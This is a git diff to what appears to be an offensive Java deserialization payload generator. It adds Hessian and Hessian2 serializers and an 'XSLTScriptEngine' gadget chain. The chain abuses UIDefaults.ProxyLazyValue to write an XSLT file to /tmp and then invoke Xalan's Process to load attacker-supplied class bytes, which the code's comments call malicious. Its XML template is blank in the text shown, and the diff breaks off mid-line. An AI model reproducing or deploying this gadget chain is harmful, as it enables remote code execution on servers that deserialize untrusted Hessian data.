diff --git a/boot/Dockerfile b/boot/Dockerfile
index 4b36d463..598d3c6f 100644
--- a/boot/Dockerfile
+++ b/boot/Dockerfile
@@ -10,7 +10,10 @@ WORKDIR /app
COPY build/libs/boot-${VERSION}.jar app.jar
ENV JAVA_OPTS="" \
- INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
+ INTER_JAVA_OPTS="\
+ --add-opens=java.base/java.util=ALL-UNNAMED \
+ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
EXPOSE 8080
diff --git a/deserialize/build.gradle b/deserialize/build.gradle
index 0b685969..68050e8f 100644
--- a/deserialize/build.gradle
+++ b/deserialize/build.gradle
@@ -8,40 +8,19 @@ version = rootProject.version
dependencies {
implementation 'net.bytebuddy:byte-buddy'
- implementation 'commons-beanutils:commons-beanutils:1.9.3'
+ implementation 'com.caucho:hessian:4.0.66'
+ implementation 'commons-beanutils:commons-beanutils:1.9.4'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
-
-def runtimeJvmArgs = [
- '--add-opens=java.base/java.lang=ALL-UNNAMED',
- '--add-opens=java.base/java.util=ALL-UNNAMED',
- '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
- '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-]
-
-tasks.withType(JavaCompile).configureEach {
- options.compilerArgs += [
- '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
- '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
- ]
-}
-
-tasks.withType(Test).configureEach {
- jvmArgs += runtimeJvmArgs
-}
-
-// For running the application
-tasks.withType(JavaExec).configureEach {
- jvmArgs += runtimeJvmArgs
-}
-
java {
toolchain {
- languageVersion = JavaLanguageVersion.of(11)
+ languageVersion = JavaLanguageVersion.of(8)
}
+ sourceCompatibility = JavaVersion.VERSION_1_8
+ targetCompatibility = JavaVersion.VERSION_1_8
}
test {
diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java
new file mode 100644
index 00000000..714485c7
--- /dev/null
+++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.Hessian2Output;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class Hessian2DeserializeGenerator {
+ @SneakyThrows
+ public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+ PayloadType payloadType = config.getPayloadType();
+ Object obj = payloadType.getPayload().generate(bytes, className);
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ Hessian2Output hessian2Output = new Hessian2Output(bos);
+ hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
+ hessian2Output.writeObject(obj);
+ hessian2Output.close();
+ return bos.toByteArray();
+ }
+}
diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java
new file mode 100644
index 00000000..2fd1d1a9
--- /dev/null
+++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.HessianOutput;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianDeserializeGenerator {
+ @SneakyThrows
+ public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+ PayloadType payloadType = config.getPayloadType();
+ Object obj = payloadType.getPayload().generate(bytes, className);
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ HessianOutput hessianOutput = new HessianOutput(bos);
+ hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
+ hessianOutput.writeObject(obj);
+ hessianOutput.close();
+ return bos.toByteArray();
+ }
+}
diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java
index 490899e6..2cd47a53 100644
--- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java
+++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java
@@ -11,5 +11,18 @@ public interface Payload {
* @param bytes 恶意类字节流
* @return 序列化对象
*/
- Object generate(byte[] bytes);
+ default Object generate(byte[] bytes) {
+ throw new UnsupportedOperationException();
+ }
+
+ /**
+ * 将恶意类字节流封装成序列化对象
+ *
+ * @param bytes 恶意类字节流
+ * @param className 恶意类名
+ * @return 序列化对象
+ */
+ default Object generate(byte[] bytes, String className) {
+ throw new UnsupportedOperationException();
+ }
}
diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java
index 203ae0d1..451f03ee 100644
--- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java
+++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java
@@ -1,6 +1,10 @@
package com.reajason.javaweb.deserialize;
-import com.reajason.javaweb.deserialize.payload.*;
+import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import lombok.Getter;
/**
@@ -17,6 +21,10 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
+ /**
+ * Hessian XSLT write
+ */
+ XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java
new file mode 100644
index 00000000..9f4189dd
--- /dev/null
+++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java
@@ -0,0 +1,51 @@
+package com.reajason.javaweb.deserialize.payload.hessian;
+
+import com.reajason.javaweb.deserialize.Payload;
+import com.reajason.javaweb.deserialize.utils.HessianUtils;
+import com.reajason.javaweb.deserialize.utils.Reflections;
+import lombok.SneakyThrows;
+
+import javax.swing.*;
+import java.util.Arrays;
+import java.util.Base64;
+import java.util.HashMap;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class XSLTScriptEngine implements Payload {
+ @Override
+ @SneakyThrows
+ public Object generate(byte[] bytes, String className) {
+ String base64Str = Base64.getEncoder().encodeToString(bytes);
+
+ String tmpPath = "/tmp/CACHE_XML";
+
+ String xml = "\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ "\n";
+
+ UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
+ Reflections.setFieldValue(writeValue, "acc", null);
+ UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
+ Reflections.setFieldValue(processValue, "acc", null);
+
+ HashMap